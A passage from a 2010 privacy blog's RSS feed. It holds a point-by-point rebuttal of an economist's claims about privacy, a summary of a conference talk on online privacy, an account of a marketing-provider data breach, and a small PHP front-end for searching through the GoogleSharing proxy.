&lt;p&gt;I don&#039;t see fewer services, in return for more control of what information is collected and how it is used, as a poor trade off i.e. it&#039;s a cost most consumers would be willing to bear. If anything, efficiencies may be generated in the market with weaker services that exist purely as third party data collection points (e.g. spammers, personal data warehouses (e.g. Axciom) and other organisations that end up with data from our primary service providers that we would prefer didn&#039;t) being weeded out. It would be hard to argue that more privacy would result in all information supported services disappearing.&lt;br /&gt;&lt;/p&gt; 
&lt;blockquote&gt; 
&lt;p&gt; &lt;em&gt;3) If consumers have less control over information, then firms must gain and consumers must lose.&lt;/em&gt;
 When firms have better information, they can target advertising better 
to consumers‚ - who thereby get better and more useful information more 
quickly. Likewise, when information is used for other purposes‚ - for 
example, in credit rating‚ - then the cost of credit for all consumers will
 decrease. &lt;/p&gt; 
&lt;/blockquote&gt;Giving consumers more control of their information does not lead to firms having worse information. If anything the firms are likely to have access to higher quality information and avoid many of the poor inferences current data sets lead to (e.g. googling for &amp;quot;bomb making&amp;quot; means you&#039;re a terrorist). The key quality differentiator is that a consumer can target the intended use with the right information, due to the disclosure of intended use by the firm when gathering consent. The current situation is more akin to my bank knowing my shoe size, just because they can, and sharing that with affiliates; rather than the bank collecting credit rating specific data for their own calculations.







&lt;blockquote&gt; 
&lt;p&gt; &lt;em&gt;4) Information use is &amp;quot;all or nothing.&amp;quot;&lt;/em&gt;
 Many say that firms such as Google will continue to provide services 
even if their use of information is curtailed. This is sometimes true, 
but the services will be lower-quality and less valuable to consumers as
 information use is more restricted. &lt;/p&gt; 
&lt;p&gt;For example, search engines 
can better target searches if they know what searchers are looking for. 
(Google&#039;s &amp;quot;Did you mean . . .&amp;quot; to correct typos is a familiar example.) 
Keeping a past history of searches provides exactly this information. 
Shorter retained search histories mean less effective targeting. &lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;Once again, we have the counter fallacy: &amp;quot;more information == higher quality service&amp;quot; coupled with a misunderstanding of what sort of control privacy advocates are looking for.&lt;/p&gt; 
&lt;p&gt;First, a large amount of information currently collected is not collected for direct use with that service; while Google search does collect your search term, it also correlates that use with other services. If Google were to say &amp;quot;we collect exactly this information for this specific purpose, if you don&#039;t like it leave&amp;quot; that would be a huge improvement over the current vague statement of &amp;quot;we collect some information, we share some of it, if you don&#039;t like it leave, but we&#039;ll still try to track you around the web.&amp;quot;&lt;/p&gt; 
&lt;p&gt;Second, privacy advocates, for the most part, have no problem with Google collecting search terms and using that data for the typo correction example above. The problem is strongly associating those terms with an identity and then barely anonymising them. It would be quite possible for Google to collect the search terms and provide typo correction without knowing UserX searched for that term.&lt;br /&gt;&lt;/p&gt; 
&lt;blockquote&gt; 
&lt;p&gt; &lt;em&gt;5) If consumers have less privacy, then someone will know things about them that they may want to keep secret.&lt;/em&gt;
 Most information is used anonymously. To the extent that things are 
&amp;quot;known&amp;quot; about consumers, they are known by computers. This notion is 
counterintuitive; we are not used to the concept that something can be 
known and at the same time no person knows it. But this is true of much 
online information. &lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;This &amp;quot;fallacy&amp;quot; is phrased incorrectly. It should be &amp;quot;&lt;em&gt;If consumers have less privacy, then someone *could* know things about them they may want to keep secret.&lt;/em&gt;&amp;quot; This is not a fallacy. Sure, for the most part there isn&#039;t a sweaty sysadmin reading each of my Yahoo mails (although research by others suggests there may be), but if a sysadmin/private investigator/government organisation wanted to they could. If the information is stored and identified then at some point someone will want to consume it. My experience in information security tells me that you can&#039;t provide perfect protection, and as the &lt;a href=&quot;http://www.financialexpress.com/news/rim-offers-solution-to-intercept-blackberry/661766/&quot;&gt;Saudi/RIM lawful intercept saga&lt;/a&gt; indicates, gov pressure to be able to violate your privacy/secrecy/confidentiality wins. As the &lt;a href=&quot;https://www.eff.org/deeplinks/2010/01/google-china-unanswered-questions&quot;&gt;Google/China hack indicates&lt;/a&gt;, lawful intercept gets used by the bad guys too.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;What&#039;s more, the advanced data analytics performed by the likes of Facebook and Google allow additional secret information, that &lt;a href=&quot;http://www.schneier.com/blog/archives/2009/04/identifying_peo.html&quot;&gt;you may not have intentionally disclosed&lt;/a&gt; about you, to be discerned. In short, if the information isn&#039;t stored, it can&#039;t be compromised. &lt;br /&gt;&lt;/p&gt; 
&lt;blockquote&gt; 
&lt;p&gt; &lt;em&gt;6) Information can be used for price discrimination (differential pricing), which will harm consumers.&lt;/em&gt;
 For example, it might be possible to use a history of past purchases to
 tell which consumers might place a higher value on a particular good. 
The welfare implications of discriminatory pricing in general are 
ambiguous. But if price discrimination makes it possible for firms to 
provide goods and services that would otherwise not be available (which 
is common for virtual goods and services such as software, including 
cell phone apps) then consumers unambiguously benefit. &lt;/p&gt; 
&lt;/blockquote&gt;It may be because I&#039;m not an economist but it sounds like Rubin makes a weak point (coupled with my observation in parenthesis) here: &amp;quot;Differential pricing is bad (mostly to the poor), but some good could come from it (mostly to the rich), so it&#039;s okay.&amp;quot; The way I see it, if one side has perfect information about the other, but not vice versa, then the negotiation is flawed and will not work to mutal benefit. Even if you could argue that this is not true, people who take steps to prevent their information from being collected and tagged with their identity would be in a stronger bargaining position and would benefit more than the consumers who didn&#039;t.&lt;br /&gt; 
&lt;blockquote&gt; 
&lt;p&gt; &lt;em&gt;7) If consumers knew how information about them was being used, they would be irate.&lt;/em&gt;
 When something (such as tainted food) actually harms consumers, they 
learn about the sources of the harm. But in spite of warnings by privacy
 advocates, consumers don&#039;t bother to learn about information use on the
 Web precisely because there is no harm from the way it is used. &lt;/p&gt; 
&lt;/blockquote&gt;It&#039;s true, harm from privacy violations is difficult to asses. If only someone wrote &lt;a href=&quot;http://www.amazon.com/Understanding-Privacy-Daniel-J-Solove/dp/0674027728&quot;&gt;a book about it&lt;/a&gt; providing some sort of &lt;a href=&quot;http://www.law.upenn.edu/journals/lawreview/articles/volume154/issue3/Solove154U.Pa.L.Rev.477(2006).pdf&quot;&gt;comprehensive taxonomy of privacy harms&lt;/a&gt;. In short, it is very short sighted of Rubin to claim that violations of online privacy cannot lead to harm.&lt;br /&gt; 
&lt;blockquote&gt; 
&lt;p&gt; &lt;em&gt;8) Increasing privacy leads to greater safety and less risk.&lt;/em&gt;
 The opposite is true. Firms can use information to verify identity and 
reduce Internet crime and identity theft. Think of being called by a 
credit-card provider and asked a series of questions when using your 
card in an unfamiliar location, such as on a vacation. If this 
information is not available, then less verification can occur and risk 
may actually increase. &lt;/p&gt; 
&lt;/blockquote&gt;The &lt;a href=&quot;http://www.wired.com/politics/security/commentary/securitymatters/2008/03/securitymatters_0306&quot;&gt;panopticon is a well understood and flawed model&lt;/a&gt;. Giving firms and governments all the information reduces consumer liberty and gives firms/governments all the power. There needs to be a balance; banks can&#039;t have &amp;quot;anonymous&amp;quot; banking with them, and governments can&#039;t allow &amp;quot;anonymous&amp;quot; through their borders. However, governments shouldn&#039;t be able to ask banks about all their customers because they feel like create some sort of creepy &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Total_Information_Awareness&quot;&gt;total awareness office&lt;/a&gt;. If anything allowing consumers more control over their information and firms/governments less control makes it easier for consumers to keep those firms/governments honest leading to a more efficient market.&lt;br /&gt; 
&lt;blockquote&gt; 
&lt;p&gt; &lt;em&gt;9) Restricting the use of information (such as by mandating consumer &amp;quot;opt-in&amp;quot;) will benefit consumers.&lt;/em&gt;
 In fact, since the use of information is generally benign and valuable,
 policies that lead to less information being used are generally 
harmful. &lt;/p&gt; 
&lt;/blockquote&gt;I&#039;m calling wild assertion on this one. While the mass of information gathered is likely used for benign purposes, the exceptions which cause harm and the potential for this harm to occur if no controls are in place, is enough to justify their existence. That&#039;s why even though the majority of the populace don&#039;t commit crimes, we still have police for the few who do.&lt;a name=&quot;U301197108326OMH&quot;&gt;&lt;/a&gt; 
&lt;blockquote&gt; 
&lt;p&gt; &lt;em&gt;10) Targeted advertising leads people to buy stuff they don&#039;t want or need.&lt;/em&gt;
 This belief is inconsistent with the basis of a market economy. A 
market economy exists because buyers and sellers both benefit from 
voluntary transactions. If this were not true, then a planned economy 
would be more efficient‚ - and we have all seen how that works. &lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;If Communism is to economists as Nazism is to moralists, then I&#039;m calling &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Godwins_Law&quot;&gt;Godwins Law&lt;/a&gt; (I know, I lose). That being said, I&#039;m not going to defend this point, as it&#039;s a dumb one. Targeted advertising is much better than untargeted advertising. Guess what&#039;s better for the consumer? NO ADVERTISING coupled with easy ways of finding out information on products they actually want to purchase. The only reason I allow advertising (and sometimes click the ads) is for sites I want to support who use ad-revenue, for the rest, there&#039;s ad block. But I try not to let any of them profile me to offer targeted ads, yet somehow I am still fully empowered to both find products I want, research them in detail and purchase them from companies selling them.&lt;/p&gt; 
&lt;p&gt;This brings us to the end. In short, I disagree with everything Rubin says. He misunderstands that privacy advocates are looking for a balance of controls, not extremes, and makes unvalidated assertions about how information inherently leads to all sorts of good economic things. He also fails to consider abuses of information, which are the specific cases privacy advocates are trying to protect against.&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Tue, 31 Aug 2010 20:40:00 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1008-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Information Security South Africa (ISSA) 2010</title>
    <link>http://www.singe.za.net/blog/archives/1009-Information-Security-South-Africa-ISSA-2010.html</link>
            <category>Privacy</category>
    
    <comments>http://www.singe.za.net/blog/archives/1009-Information-Security-South-Africa-ISSA-2010.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1009</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1009</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;&lt;em&gt;This is a &lt;a href=&quot;http://www.sensepost.com/blog/4895.html&quot;&gt;cross-post&lt;/a&gt; from my other blogging home at SensePost.&lt;/em&gt;&lt;/p&gt; 
&lt;p&gt;Last week we presented an invited talk at the ISSA conference on the 
topic of online privacy (embedded below, click through to SlideShare for
 the original PDF.)&lt;/p&gt; 
&lt;p&gt;The talk is an introductory overview of Privacy from a Security 
perspective and was prompted by discussions between security &amp;amp; 
privacy people along the line of &amp;quot;Isn&#039;t Privacy just directed Security? 
Privacy is to private info what PCI is to card info?&amp;quot; It was further 
prompted by discussion with Joe the Plumber along the lines of &amp;quot;Privacy 
is dead!&amp;quot;&lt;/p&gt; 
&lt;p&gt;The talk, is unfortunately best delivered as a talk, and not as standalone slides, so here&#039;s some commentary:&lt;/p&gt; &lt;p&gt;We start off the problem statement describing why privacy has grown 
in importance. The initial reactions were based on new technology 
allowing new types of information to be captured and disseminated. While
 the example given is from the 1980s, the reaction is a recurring one, 
as we&#039;ve seen with each release of new tech (some examples: Cameras, 
Newspapers, Credit Cards, The Internet, Facebook). Reactions are 
worsened by the existence of actors with the funding &amp;amp; gall to 
collect and collate much information to further potentially disagreeable
 goals (usually Governments). However, the new threat is that there has 
been a fundamental shift in the way in which we live our lives, where 
information about us is no longer merely *recorded* online, but rather, 
our lives are *lived* on line. It is quite possible that for an average 
day, from waking up to going to sleep, a significant number of the 
actions you perform will not only be conducted (in part) online, but 
that it is possible for them to be conducted using the services of one 
service provider. My intention is not to beat up on Google, but rather 
use them as an example. They are a pertinent example, as every business 
book seems to use them as one. The, arguably, most successful 
corporation of our current age&#039;s primary business model is the 
collection &amp;amp; monetisation of private data. Thus, while Google is the
 example, there are and will be many followers.&lt;/p&gt; 
&lt;p&gt;The next section moves into providing a definition of privacy, and 
attempts to fly through some fairly dry aspects of philosophy, law &amp;amp;
 psychology. We&#039;ve done some entry-level work on collating the 
conception of privacy across history and these fields, however, brighter
 minds, such as &lt;a title=&quot;Check his &amp;quot;Nothing to Hide&amp;quot; paper and &amp;quot;Privacy Taxonomy&amp;quot;&quot; href=&quot;http://www.danielsolove.com/&quot;&gt;Daniel Solove&lt;/a&gt; and &lt;a href=&quot;http://scholar.google.co.za/scholar?q=kamil+reddy&quot;&gt;Kamil Reddy&lt;/a&gt; have done better jobs of this. In particular, Solove&#039;s paper &amp;quot;&lt;a href=&quot;http://tdistler.com/media/docs/privacyandnothingtohide.pdf&quot;&gt;I&#039;ve got nothing to hide&amp;quot;, and other misconception of privacy&lt;/a&gt;
 is a good introductory read. The key derived point however, is that 
private data is data with an implied access control &amp;amp; authorised 
use. Which of the implied access controls &amp;amp; authorised uses are 
reasonable to enforce or can be legally enforced is a developing field.&lt;/p&gt; 
&lt;p&gt;As the talk is about &amp;quot;Online Privacy&amp;quot; the talk moves into a 
description of the various levels at which private data is collected, 
what mechanisms are used to attempt to collect that data, and what sort 
of data can be gleaned. It was an academic conference, so I threw in the
 word &amp;quot;taxonomy.&amp;quot; Soon, it will be more frequently quoted than Maslow&#039;s 
Hierarchy, any day now.&lt;/p&gt; 
&lt;p&gt;At each level, a brief demonstration of non-obvious leaks and their 
implications was demonstrated. From simple techniques such as cross-site
 tracking using tracking pixels or cookies, to exploit of rich browser 
environments such as the simple &lt;a href=&quot;http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html&quot;&gt;CSS history hack&lt;/a&gt;, to less structured and less obvious leaks such as search data (as demonstrated by &lt;a href=&quot;http://www.aolstalker.com/&quot;&gt;the AOL leak&lt;/a&gt;), moving to deanonymisation of an individual by correlating public data sets (using the awesome &lt;a href=&quot;http://www.paterva.com/maltego/&quot;&gt;Maltego&lt;/a&gt;) and finally to unintended leaks provided by meta-data (through analysis of twitter &amp;amp; facebook friends groups).&lt;/p&gt; 
&lt;p&gt;Finally, a mere two slides are used to explain some of the 
implications and defenses. These are incomplete and are the current area
 of research I&#039;m engaged in.
&lt;/p&gt; &lt;strong style=&quot;display: block; margin: 12px 0pt 4px;&quot;&gt;&lt;a href=&quot;http://www.slideshare.net/sensepost/online-privacy-the-next-battleground&quot; title=&quot;Online Privacy, the next Battleground&quot;&gt;Online Privacy, the next Battleground&lt;/a&gt;&lt;/strong&gt;&lt;!-- xhtml clean youtube --&gt;&lt;object type=&quot;application/x-shockwave-flash&quot; width=&quot;425&quot; height=&quot;355&quot; data=&quot;&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;&quot; /&gt;&lt;param value=&quot;__sse4936759&quot; name=&quot;id&quot; /&gt;&lt;param value=&quot;true&quot; name=&quot;allowFullScreen&quot; /&gt;&lt;param value=&quot;always&quot; name=&quot;allowScriptAccess&quot; /&gt;&lt;param value=&quot;http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=issa-privacy-2010-100810075035-phpapp01&amp;amp;rel=0&amp;amp;stripped_title=online-privacy-the-next-battleground&quot; name=&quot;src&quot; /&gt;&lt;/object&gt;&lt;!-- /xhtml clean youtube --&gt;

&lt;!-- &lt;object width=&quot;425&quot; height=&quot;355&quot; codebase=&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0&quot; classid=&quot;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000&quot; class=&quot; &quot;&gt;&lt;param value=&quot;__sse4936759&quot; name=&quot;id&quot; /&gt;&lt;param value=&quot;true&quot; name=&quot;allowFullScreen&quot; /&gt;&lt;param value=&quot;always&quot; name=&quot;allowScriptAccess&quot; /&gt;&lt;param value=&quot;http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=issa-privacy-2010-100810075035-phpapp01&amp;amp;rel=0&amp;amp;stripped_title=online-privacy-the-next-battleground&quot; name=&quot;src&quot; /&gt;&lt;embed width=&quot;425&quot; height=&quot;355&quot; allowfullscreen=&quot;true&quot; allowscriptaccess=&quot;always&quot; src=&quot;http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=issa-privacy-2010-100810075035-phpapp01&amp;amp;rel=0&amp;amp;stripped_title=online-privacy-the-next-battleground&quot; type=&quot;application/x-shockwave-flash&quot; id=&quot;__sse4936759&quot; /&gt;&lt;/object&gt; --&gt;

&lt;script src=&quot;https://sb.scorecardresearch.com/beacon.js?c1=7&amp;amp;c2=7400849&amp;amp;c3=1&amp;amp;c4=&amp;amp;c5=&amp;amp;c6=&quot;&gt;&lt;/script&gt;&lt;script src=&quot;https://sb.scorecardresearch.com/beacon.js?c1=7&amp;amp;c2=7400849&amp;amp;c3=1&amp;amp;c4=&amp;amp;c5=&amp;amp;c6=&quot;&gt;&lt;/script&gt; 
    </content:encoded>

    <pubDate>Tue, 10 Aug 2010 22:06:00 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1009-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Breach at iContact exposes my (and your) details to Spammers</title>
    <link>http://www.singe.za.net/blog/archives/995-Breach-at-iContact-exposes-my-and-your-details-to-Spammers.html</link>
            <category>Privacy</category>
    
    <comments>http://www.singe.za.net/blog/archives/995-Breach-at-iContact-exposes-my-and-your-details-to-Spammers.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=995</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=995</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;This week something special happened, something I&#039;d been saving for the right person, something magical. Today, hackers took my private data. Everything&#039;s changed, I feel like a part of the world, connected to so many other people who have shared in this experience. Today, I&#039;m a woman! (Ok, I may have gone a bit far with that last bit)&lt;/p&gt; 
&lt;p&gt;The skinny is that I use unique e-mail addresses for each service provider that I want to continue communicating with (for the ones I don&#039;t I use one-shot addresses). I noticed on the weekend that I was being deluged with pharmaceutical spam to three of these addresses, namely my Threadsy, Numbuzz &amp;amp; Share-it (via a product I bought there, ChatterBlocker) contacts. This lead me &lt;a href=&quot;https://twitter.com/singe/status/8489242055&quot;&gt;to tweet&lt;/a&gt;: &amp;quot;&lt;span class=&quot;status-body&quot;&gt;&lt;span class=&quot;entry-content&quot;&gt;Either a security or ethics breach at @&lt;a href=&quot;https://twitter.com/threadsy&quot; class=&quot;tweet-url username&quot;&gt;threadsy&lt;/a&gt; &amp;amp; @&lt;a href=&quot;https://twitter.com/nimbuzz&quot; class=&quot;tweet-url username&quot;&gt;nimbuzz&lt;/a&gt; Getting Viagra spammed hard on the unique e-mail addresses I gave them.&amp;quot;&lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p&gt;Chatterblocker got back to me with the equivalent of &amp;quot;What? Wasn&#039;t me.&amp;quot; &lt;span class=&quot;fn&quot;&gt;&lt;a href=&quot;http://dskendall.com/&quot; title=&quot;Skott Kendall&quot;&gt;Scott Kendall&lt;/a&gt; from Threadsy jumped into an investigation however and contacted me for more details. He also passed on results of his investigation to Nimbuzz, much kudos. Scott then &lt;a href=&quot;https://twitter.com/dskendall/status/8516192689&quot;&gt;informed me this morning&lt;/a&gt; that there has been a &lt;a href=&quot;http://www.icontact.com/blog/index.php?blog=1&amp;amp;p=401&amp;amp;more=1&amp;amp;c=1&amp;amp;tb=1&amp;amp;pb=1&quot; title=&quot;Breach Notification from iContact&quot;&gt;breach at iContact&lt;/a&gt;, evidently a shared service provider to the affected entities, resulting in the theft of customer contact details that must have been sold to spammers (or by a horizontally integrated crime crew). We&#039;re assured by iContact that only our e-mail addresses were stolen. However, we&#039;re not given any reason to believe that; unless the data is segmented somehow I don&#039;t see why an attacker wouldn&#039;t take the whole caboodle.&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;What concerns me is first that I wasn&#039;t even aware I had a relationship with iContact. A quick look of the websites of Threadsy and Nimbuzz don&#039;t make reference to them apart from the generic &amp;quot;we may share your data with business relevant third parties&amp;quot; in the privacy policy. Even if it is made explicit in the privacy policy, it doesn&#039;t mean you understand it, take this &lt;a href=&quot;http://mathiasbynens.be/examples/facebook-friends&quot;&gt;Facebook friendlist leak&lt;/a&gt; for example. Maybe if we had a &amp;quot;&lt;a href=&quot;http://cups.cs.cmu.edu/soups/2009/proceedings/a4-kelley.pdf&quot; title=&quot;Nutritional Label for Privacy&quot;&gt;nutritional label for privacy&lt;/a&gt;&amp;quot; with disclosure of who the third parties were I would feel more in control of my data and more importantly the decisions I make.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;Second, I&#039;m not aware what data of mine had been given to iContact and what could potentially be at risk. Was it just my contact details, or did it include behavioural data too? Even if I can&#039;t do anything about it, I&#039;d like to know what was breached with some solid factual basis. More importantly, I&#039;d like to see what is shared with the third-party up front. I believe the small externality of writing that down in human readable and explicit form may encourage service providers to limit it.&lt;/p&gt; 
&lt;p&gt;Third, this was a consumer-lead breach-discovery. People with custom e-mail addresses tracked the source and informed iContact they had a breach. We see the same thing with credit card breaches, and with the likes of Google notifying other companies that the APT (do I get points for using it?) got them too. Is it any wonder those are the breaches we see frequently reported. IT shops usually aren&#039;t aware they&#039;ve been breached until an affected third party tells them.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;In conclusion, if you&#039;re getting spammed hard with pharmaceutical spam, this is probably why. There&#039;s nothing you can do about it, and there&#039;s probably a near infinite number of variations of your private (by which I mean data you don&#039;t want publicly exposed) data floating around at service providers you know nothing about that doesn&#039;t have the same canary-in-a-mine like properties that can make you (and hence the service provider) aware of the breach. Good luck.&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Tue, 02 Feb 2010 08:25:09 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/995-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Scroogle is Dead, Long Live GoogleSharing</title>
    <link>http://www.singe.za.net/blog/archives/1005-Scroogle-is-Dead,-Long-Live-GoogleSharing.html</link>
            <category>Privacy</category>
    
    <comments>http://www.singe.za.net/blog/archives/1005-Scroogle-is-Dead,-Long-Live-GoogleSharing.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1005</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1005</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;a href=&quot;https://ssl.scroogle.org/&quot; title=&quot;Privacy Enhanced Search&quot;&gt;Scroogle&lt;/a&gt; is no longer working for the second time this year (I archived the announcement at the end of this entry). The author claims Google deliberately killed the simple interface they were using. I&#039;ve e-mailed to point out that &lt;a href=&quot;https://google.com/custom?q=foo&quot; title=&quot;Google Custom Search&quot;&gt;Google Custom&lt;/a&gt; search works fine, but relying on Scroogle isn&#039;t going to cut it anymore. The obvious solution is to use &lt;a href=&quot;https://googlesharing.net/&quot; title=&quot;Unstoppable Privacy Enhance Search&quot;&gt;GoogleSharing&lt;/a&gt;. However, not all devices support it due to the requirement of a Firefox plugin; my phone for example. After meeting Moxie I discussed the idea of including a search interface with the GoogleSharing server. The idea would be that &amp;lt;googlesharing server&amp;gt;:&amp;lt;port&amp;gt;/search would provide a plain HTTP interface to search through the server. &lt;p&gt;As a precursor to this, I did some playing and realised (later than most it seems) that the GoogleSharing proxy implements a straight HTTP 1.1 proxy. A few quick lines of code, thanks to some help from &lt;a href=&quot;http://www.andrewmohawk.com&quot; title=&quot;Andrew Mohawk&quot;&gt;Andrew Mohawk&lt;/a&gt; due to some gzip&#039;ed return data trouble, and you have a &lt;a href=&quot;http://singe.za.net/privacy/search&quot; title=&quot;PHP GoogleSharing Front-End&quot;&gt;very simple PHP interface to GoogleSharing&lt;/a&gt;:&lt;/p&gt; 
&lt;pre&gt;&lt;/pre&gt; 
&lt;blockquote&gt; 
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&amp;lt;?php&lt;br /&gt;ini_set(&amp;quot;user_agent&amp;quot;, &amp;quot;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)&amp;quot;);&lt;br /&gt;$ch = curl_init();&lt;br /&gt;curl_setopt($ch, CURLOPT_URL,&amp;quot;http://www.google.com/custom?q=&amp;quot; . urlencode($_REQUEST[&#039;q&#039;]));&lt;br /&gt;curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&lt;br /&gt;curl_setopt($ch, CURLOPT_PROXY, &amp;quot;http://proxy.googlesharing.net&amp;quot;);&lt;br /&gt;curl_setopt($ch, CURLOPT_PROXYPORT, 80);&lt;br /&gt;curl_setopt($ch, CURLOPT_ENCODING , &amp;quot;gzip&amp;quot;);&lt;br /&gt;$x = curl_exec($ch);&lt;br /&gt;&lt;br /&gt;print $x;&lt;br /&gt;&lt;br /&gt;curl_close($ch);&lt;br /&gt;die();&lt;br /&gt;?&amp;gt;&lt;/font&gt; &lt;br /&gt;&lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;My only worry is that I&#039;ve &lt;a href=&quot;http://www.singe.za.net/blog/archives/511-Blocking-Google-Tracking.html&quot; title=&quot;Blocking Google Tracking&quot;&gt;been down this road before&lt;/a&gt;, 5 years ago, and I want things to happen a little differently this time. What happened then is thousands of porn sites hosting malware decided that privacy enhanced search was just what their customers needed. This resulted in Google seeing several hundred malware infested links linking back to this site. The net result was that I dropped out of Google completely (with no warning or explanation of course). So my intention is not that you use my search interface. That&#039;s stupid anyway as you have no reason to trust that I&#039;m not mining your search data. So &lt;a href=&quot;/utils/phpfe-googlesharing.tar.gz&quot; title=&quot;PHP Front-End for GoogleSharing (tarball)&quot;&gt;here is a tarball&lt;/a&gt; that can be used to set up your own PHP front-end. You&#039;ll need a PHP-enabled webserver with curl. The readme has more.&lt;/p&gt; 
&lt;h2&gt;Archived Scroogle Announcement&lt;/h2&gt; 
&lt;p&gt;&lt;font face=&quot;Arial, Helvetica, sans-serif&quot;&gt;&lt;font size=&quot;4&quot;&gt;&lt;strong&gt;July 1, 
2010: Here we go again...

&lt;br /&gt;&lt;br /&gt;We regret to announce that our Google scraper may have to be
permanently retired, thanks to a change at Google. It depends on whether
Google is willing to restore the simple interface that we&#039;ve been 
scraping
since Scroogle started five years ago. Actually, we&#039;ve been using that
interface for scraping since Google-Watch.org began in 2002.

&lt;br /&gt;&lt;br /&gt;
This interface (here&#039;s a &lt;a href=&quot;http://www.scroogle.org/simple.html&quot;&gt;sample&lt;/a&gt;
 from years ago) was
remarkably stable all that time. During those eight years there were 
only
about five changes that required some programming adjustments.  Also, 
this
interface was available at every Google data center in exactly the same
form, which allowed us to use 700 IP addresses for Google.

&lt;br /&gt;&lt;br /&gt;
That interface was at &lt;a href=&quot;http://www.google.com/ie&quot;&gt;www.google.com/ie&lt;/a&gt;
but on May 10, 2010 they took it down and inserted a redirect to 
/toolbar/ie8/sidebar.html.
It used to have a search box, and the results it showed were generic
during that entire time. It didn&#039;t show the snippets unless you
moused-over the links it produced (they were there for our program, so
that was okay), and it has never had any ads. Our impression was that
these results were from Google&#039;s basic algorithms, and that extra 
features
and ads were added on top of these generic results. Three years ago 
Google
launched &amp;quot;Universal Search,&amp;quot; which meant that they added results from
other Google services on their pages. But this simple interface we were
using was not affected at all.

&lt;br /&gt;&lt;br /&gt;
It is not possible to continue Scroogle unless we have a simple 
interface
that is stable. Google&#039;s main consumer-oriented interface that they want
everyone to use is too complex, too bloated, and changes too frequently,
to make our scraping operation possible.

&lt;br /&gt;&lt;br /&gt;
After a lot of suggestions from Scroogle users, and a fair amount of
publicity, we found a fix and Scroogle was back in 24 hours. This fix 
was
to insert an extra parameter, &amp;amp;output=ie, into the search terms that
 were
relayed to Google. The extra parameter recovered the same interface that
we thought was gone forever.

&lt;br /&gt;&lt;br /&gt;
Now it seems like it actually might be gone forever. Late on June 30, 
2010,
the results produced while using this parameter began to shift to the 
usual
busy Google interface with ads and a left-margin sidebar. Scroogle users
saw a Scroogle page that said, &amp;quot;Google returned no results for this
search,&amp;quot; when in fact Google returned results but our scraper was unable
to deal with them. Over the next few days we will attempt to contact
Google and determine whether the old interface is gone as a matter of
policy at Google, or if they simply have it hidden somewhere and will 
tell
us where it is so that we can continue to use it.

&lt;br /&gt;&lt;br /&gt;
Thank you for your support during these past five years. Check back in a
week or so; if we don&#039;t hear from Google by next week, I think we can 
all
assume that Google would rather have no Scroogle, and no privacy for
searchers.

&lt;br /&gt;&lt;br /&gt;

— Daniel Brandt, Public Information Research, scroogle AT lavabit.com

&lt;/strong&gt;&lt;/font&gt;&lt;/font&gt; &lt;/p&gt; 
    </content:encoded>

    <pubDate>Mon, 05 Jul 2010 08:39:55 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1005-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Avoid Cross-Site Tracking with Stainless.app (and others)</title>
    <link>http://www.singe.za.net/blog/archives/1002-Avoid-Cross-Site-Tracking-with-Stainless.app-and-others.html</link>
            <category>Privacy</category>
    
    <comments>http://www.singe.za.net/blog/archives/1002-Avoid-Cross-Site-Tracking-with-Stainless.app-and-others.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1002</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1002</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
